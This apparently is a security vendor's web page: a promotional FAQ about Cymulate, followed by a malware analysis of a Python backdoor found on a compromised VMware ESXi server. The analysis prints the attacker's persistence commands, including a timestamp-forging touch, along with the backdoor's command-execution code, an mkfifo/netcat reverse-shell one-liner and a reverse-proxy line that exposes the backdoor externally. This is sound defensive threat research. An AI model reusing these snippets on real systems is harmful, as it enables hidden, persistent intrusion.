What is the custom Python backdoor described for VMWare ESXi servers?

The custom Python backdoor is a malicious script designed to persist on VMWare ESXi servers. It launches a password-protected web server that can execute arbitrary commands or open a reverse shell, allowing attackers to maintain control even after reboots. The script is disguised as a legitimate VMware tool and leverages system files that are restored on reboot for persistence.

How does the backdoor achieve persistence on ESXi servers?

The attacker modifies /etc/rc.local.d/local.sh to execute a Python script at startup. This file is among the few that are backed up and restored on reboot, ensuring the backdoor is re-applied after every restart. Additional files like /bin/hostd-probe.sh and /etc/vmware/rhttpproxy/endpoints.conf are also altered for persistence and remote access.

What files are modified or created during this attack?

The attack modifies or creates the following files: /etc/rc.local.d/local.sh: Stores persistence logic and is restored on reboot. /bin/hostd-probe.sh: Executes the Python backdoor and is re-applied after reboot. /store/packages/vmtools.py: The actual Python backdoor script, stored on persistent disk. /etc/vmware/rhttpproxy/endpoints.conf: Alters reverse proxy settings for remote access, also persistent across reboots.

How does the Python backdoor operate once installed?

The backdoor launches a local web server on port 8008, accepting password-protected POST requests. It can execute base64-encoded commands or open a reverse shell to a remote host and port. The server checks the MD5 hash of the password and supports two modes: 'local' for command execution and 'remote' for reverse shell access.

How does the attacker enable remote access to the backdoor?

The attacker modifies /etc/vmware/rhttpproxy/endpoints.conf to add a line that forwards external requests to port 8008, making the local web server accessible from outside the compromised ESXi machine. This change is persistent across reboots.

Why is the backdoor script disguised as a VMware tool?

The script is named vmtools.py and placed in a directory commonly used for VMware tools to avoid suspicion. It even includes a legitimate VMware copyright header to further blend in with system files.

What is the significance of the default port 427 in the reverse shell command?

If no port is specified in the attacker's POST request, the backdoor defaults to port 427, which is the standard service port for OpenSLP—a service often targeted for initial access on ESXi servers. This indicates the attack was crafted specifically for ESXi environments.

How does the backdoor avoid detection by system administrators?

The attacker resets the modification and access timestamps of /bin/hostd-probe.sh to match a legitimate system file, making it appear unmodified. The script is also placed in a directory and named to resemble legitimate VMware files.

What are the main risks associated with this Python backdoor for ESXi servers?

This backdoor allows attackers to execute arbitrary commands, maintain persistent access, and bypass firewall restrictions using reverse shells. It can be difficult to detect due to its stealthy modifications and persistence mechanisms, posing a significant risk to virtualized environments.

How does the reverse shell mechanism work in this attack?

The backdoor can launch a reverse shell by connecting back to an attacker-controlled host and port. This allows the attacker to gain an interactive shell on the compromised ESXi server, even if direct inbound connections are blocked by firewalls.

What is the role of base64 encoding in the command execution process?

Commands sent to the backdoor in 'local' mode are base64-encoded to obfuscate their content and avoid detection by simple string matching or logging mechanisms. The backdoor decodes and executes these commands, returning the output to the attacker.

How does the attack leverage ESXi's reverse HTTP proxy?

The attacker appends a line to /etc/vmware/rhttpproxy/endpoints.conf to forward external requests to the local backdoor web server, making it accessible from outside the host. This modification is persistent and enables remote control over the compromised server.

Why is the backdoor's web server bound to 127.0.0.1 by default?

Binding to 127.0.0.1 (localhost) restricts access to the backdoor to processes running on the compromised machine. The attacker then modifies the reverse proxy configuration to expose it externally, combining stealth with remote accessibility.

What is the impact of this attack on virtualized environments?

This attack can compromise the integrity and confidentiality of all virtual machines running on the ESXi host, as the attacker gains persistent, privileged access to the underlying system. It can lead to data theft, lateral movement, and further compromise within the network.

How can organizations detect or mitigate this type of backdoor?

Organizations should monitor for unauthorized changes to persistence files like /etc/rc.local.d/local.sh and /etc/vmware/rhttpproxy/endpoints.conf, and regularly audit for unexpected scripts or processes. Using security validation platforms like Cymulate can help simulate and detect such attack techniques.

What are the recommended resources to learn more about exposure validation and threat simulation?

Cymulate offers demos such as From Vulnerability to Validation , Threat Validation Demo , and From Control Validation to Exposure Validation to help security teams understand and validate their defenses against real-world threats.

How does Cymulate help organizations defend against threats like custom backdoors?

Cymulate's Exposure Management Platform enables organizations to simulate real-world attacks, validate their defenses, and identify vulnerabilities that could be exploited by custom backdoors. The platform provides continuous threat validation, exposure prioritization, and actionable insights to improve security posture.

What is Cymulate's Exposure Management Platform?

The Cymulate Exposure Management Platform is a unified solution that combines Breach and Attack Simulation (BAS), Continuous Automated Red Teaming (CART), and Exposure Analytics. It helps organizations continuously validate their security controls, prioritize exposures, and automate mitigation to enhance threat resilience.

What are the key features of Cymulate's platform for defending against advanced threats?

Cymulate offers continuous threat validation, automated attack simulations, exposure prioritization, attack path discovery, automated mitigation, and an extensive threat library with over 100,000 attack actions updated daily. These features help organizations stay ahead of emerging threats and reduce risk.

How does Cymulate's platform differ from traditional security validation tools?

Unlike traditional tools that rely on point-in-time assessments or manual penetration tests, Cymulate provides automated, continuous validation with real-world attack simulations. The platform integrates BAS, CART, and exposure analytics, offering a holistic and efficient approach to security validation.

What types of organizations benefit most from Cymulate's solutions?

Cymulate serves organizations of all sizes and industries, including finance, healthcare, retail, media, transportation, and manufacturing. Its solutions are tailored for CISOs, SecOps teams, Red Teams, and Vulnerability Management teams seeking to improve threat resilience and operational efficiency.

What are the main pain points Cymulate addresses for security teams?

Cymulate helps solve issues such as fragmented security tools, resource constraints, unclear risk prioritization, cloud complexity, communication barriers, inadequate threat simulation, operational inefficiencies in vulnerability management, and post-breach recovery challenges.

How easy is it to implement Cymulate's platform?

Cymulate is designed for quick and easy implementation, operating in agentless mode without the need for additional hardware or complex configurations. Customers can start running simulations almost immediately, with comprehensive support and educational resources available.

What customer feedback has Cymulate received regarding ease of use?

Customers consistently praise Cymulate for its intuitive interface and ease of use. Testimonials highlight the platform's user-friendly dashboard, quick implementation, and accessible support, making it effective for users of all skill levels. (See: Cymulate Customer Quotes )

What measurable outcomes have customers achieved with Cymulate?

Customers have reported outcomes such as a 52% reduction in critical exposures, a 60% increase in team efficiency, and an 81% reduction in cyber risk within four months. (See: Hertz Israel Case Study )

What security and compliance certifications does Cymulate hold?

Cymulate holds SOC2 Type II, ISO 27001:2013, ISO 27701, ISO 27017, and CSA STAR Level 1 certifications, demonstrating adherence to industry-leading security and privacy standards. (See: Security at Cymulate )

How does Cymulate ensure data security and privacy?

Cymulate uses encryption for data in transit (TLS 1.2+) and at rest (AES-256), secure AWS-hosted data centers, a strict Secure Development Lifecycle (SDLC), continuous vulnerability scanning, and annual third-party penetration tests. The platform is GDPR-compliant and includes mandatory 2FA, RBAC, and IP restrictions.

What is Cymulate's pricing model?

Cymulate operates on a subscription-based pricing model tailored to each organization's needs. Pricing depends on the chosen package, number of assets, and scenarios selected. For a detailed quote, organizations can schedule a demo with Cymulate's team.

What integrations does Cymulate support?

Cymulate integrates with a wide range of security technologies, including Akamai Guardicore, AWS GuardDuty, BlackBerry Cylance OPTICS, Carbon Black EDR, Check Point CloudGuard, Cisco Secure Endpoint, CrowdStrike Falcon, Wiz, SentinelOne, and more. For a full list, visit the Partnerships and Integrations page .

How does Cymulate support a threat-informed defense strategy?

Cymulate continuously validates security controls against the latest threats and attack techniques, ensuring defenses are always prepared for current and emerging adversarial methods. This supports a proactive, threat-informed defense approach.

What is Cymulate's mission and vision?

Cymulate's mission is to transform cybersecurity practices by enabling organizations to proactively validate their defenses, identify vulnerabilities, and optimize their security posture. The vision is to create a collaborative environment for lasting improvements in cybersecurity strategies. (See: About Us )

Where can I find Cymulate's latest research and threat intelligence?

Cymulate regularly publishes research and threat intelligence on its blog , including discoveries of new vulnerabilities and attack techniques relevant to ESXi and other platforms.

How can I contact Cymulate for support or more information?

You can contact Cymulate for support or inquiries via email , chat support , or by visiting the Contact Us page .

A Custom Python Backdoor for VMWare ESXi Servers

December 13, 2022

Foothold and Persistence ESXi is a virtualization platform with a lightweight UNIX-like host operating system and the capability to run many virtual machines simultaneously. While the virtual disk images for these VMs are stored on the ESXi's physical disks, the system files for the host OS are stored in RAM and changes are discarded on a reboot. Only a few specific system files are automatically backed up and restored on a reboot. Among these is /etc/rc.local.d/local.sh, which is executed at startup. By default, this file is empty other than comments explaining and discouraging its use. In the case of the compromised machine Operatives analyzed, the attacker had added the following code: /bin/mv /bin/hostd-probe.sh /bin/hostd-probe.sh.1 /bin/cat <> /bin/hostd-probe.sh /bin/nohup /bin/python -u /store/packages/vmtools.py >/dev/null 2>&1& LOCAL2 /bin/cat /bin/hostd-probe.sh.1 >> /bin/hostd-probe.sh /bin/chmod 755 /bin/hostd-probe.sh /bin/rm /bin/hostd-probe.sh.1 /bin/touch -r /usr/lib/vmware/busybox/bin/busybox /bin/hostd-probe.sh The first 7 lines prepend, in a convoluted fashion, a single line of code to /bin/hostd-probe.sh, a system file that is executed automatically when the system boots. This line of code launches a Python script: /bin/nohup /bin/python -u /store/packages/vmtools.py >/dev/null 2>&1& The touch command in the final line of code resets the modification and access timestamps of /bin/hostd-probe.sh to those of a preinstalled system file, making it appear as though /bin/hostd-probe.sh had not been modified since the system software was installed or last updated. There are a total of 4 files installed or modified in this attack: /etc/rc.local.d/local.sh: stored in RAM, but changes are backed up and restored on reboot /bin/hostd-probe.sh: changes are stored in RAM and reapplied after a reboot /store/packages/vmtools.py: saved to the persistent disk stores used for VM disk images, logs, etc. /etc/vmware/rhttpproxy/endpoints.conf: changes are stored in RAM and reapplied after a reboot Python Backdoor While the Python script used in this attack is cross-platform and can be used with little or no modification on Linux or other UNIX-like systems, there are several indications that this attack was designed specifically to target ESXi. The name of the file and its location, /store/packages/vmtools.py, was chosen to raise little suspicion on a virtualization host. The file begins with a VMware copyright consistent with publicly available examples and is taken character-for-character from an existing Python file provided by VMware. #!/bin/python """ Copyright 2011 - 2014 VMware, Inc. All rights reserved. This module starts debug tools """ from http.server import BaseHTTPRequestHandler, HTTPServer The Python script launches a simple webserver that accepts password-protected POST requests and can be used in two ways: it can run arbitrary remote commands and display the results as a webpage, or it can launch a reverse shell to the host and port of the attacker's choice. This server binds to port 8008 on the local IP address 127.0.0.1 and accepts 5 misleadingly named parameters: server_namespace: password protecting the backdoor from unintended use server_instance: either "local" (run commands directly) or "remote" (reverse shell) operation_id: command to execute ("local" only) envelope and path_set: host and port, respectively, for the reverse shell ("remote" only) The server first checks the MD5 hash of the provided password against a hard-coded value. If this succeeds, the execution path splits based on the value of server_instance. If the provided value is "local", the server executes the value of operation_id as a base64-encoded command and writes the output to the browser: if action is None or action == 'local': encoded_cmd = form.getvalue('operation_id') if encoded_cmd is not None: try: cmd = str(base64.b64decode(encoded_cmd), "utf-8") except binascii.Error: return self.wfile.write(os.popen(cmd).read().encode()) If the value of server_instance is "remote", the webserver launches a reverse shell to the host and port provided in envelope and path_set, respectively. if action == 'remote': host = form.getvalue('envelope') if host is not None: port = form.getvalue('path_set') if port is None: port = '427' cmd = 'mkfifo /tmp/tmpy_8th_nb; cat /tmp/tmpy_8th_nb | /bin/sh -i 2>&1 | nc %s %s > /tmp/tmpy_8th_nb' % (host, port) subprocess.Popen(cmd, shell=True) A reverse shell is a terminal session on the compromised machine but is "reversed" in that the network connection originates on the compromised machine. This contrasts with an ordinary remote terminal session like ssh, where an external user initiates the connection to a target machine in order to run shell commands. Using a reverse shell can bypass firewall restrictions and works even when the compromised machine is not directly accessible from the internet. The reverse shell command is taken from a reverse shell one-liners cheat sheet: mkfifo /tmp/tmpy_8th_nb; cat /tmp/tmpy_8th_nb | /bin/sh -i 2>&1 | nc /tmp/tmpy_8th_nb The sequence of piped commands is somewhat more complicated than the most common reverse shell invocations and is needed to work around limitations in the netcat version available on ESXi. Note that if no port number is supplied in the POST request, the default port used is 427. This is the standard service port for OpenSLP, the vulnerable service most likely exploited to gain access to the ESXi server and is another indication that this attack was crafted with ESXi targets in mind. Reverse Proxy Analysts previously noted that the malicious Python webserver binds to a 127.0.0.1, the "home" IP address that is only accessible from within the compromised machine. In order to allow remote access, the hackers changed the configuration of the ESXi reverse HTTP proxy. The configuration file, /etc/vmware/rhttpproxy/endpoints.conf, contains a number of mappings from pathnames to network ports, such as: /sdk local 8307 redirect allow This line instructs the reverse proxy to forward to port 8307 any external requests to https://<server_url/sdk/*. The attackers appended the following line to endpoints.conf, allowing external access to the malicious webserver: / local 8008 allow allow Because /etc/vmware/rhttpproxy/endpoints.conf is also among the system files that are backed up and restored automatically, this reverse proxy configuration is persistent.

Featured Resources

View More Resources

blog

Validate What Matters: Simulate Real-World Identity and Privilege Attacks in AD and Entra ID

Identity is the new perimeter. The move to the cloud and remote work creates new security boundaries based on users and services operating across cloud and hybrid environments, making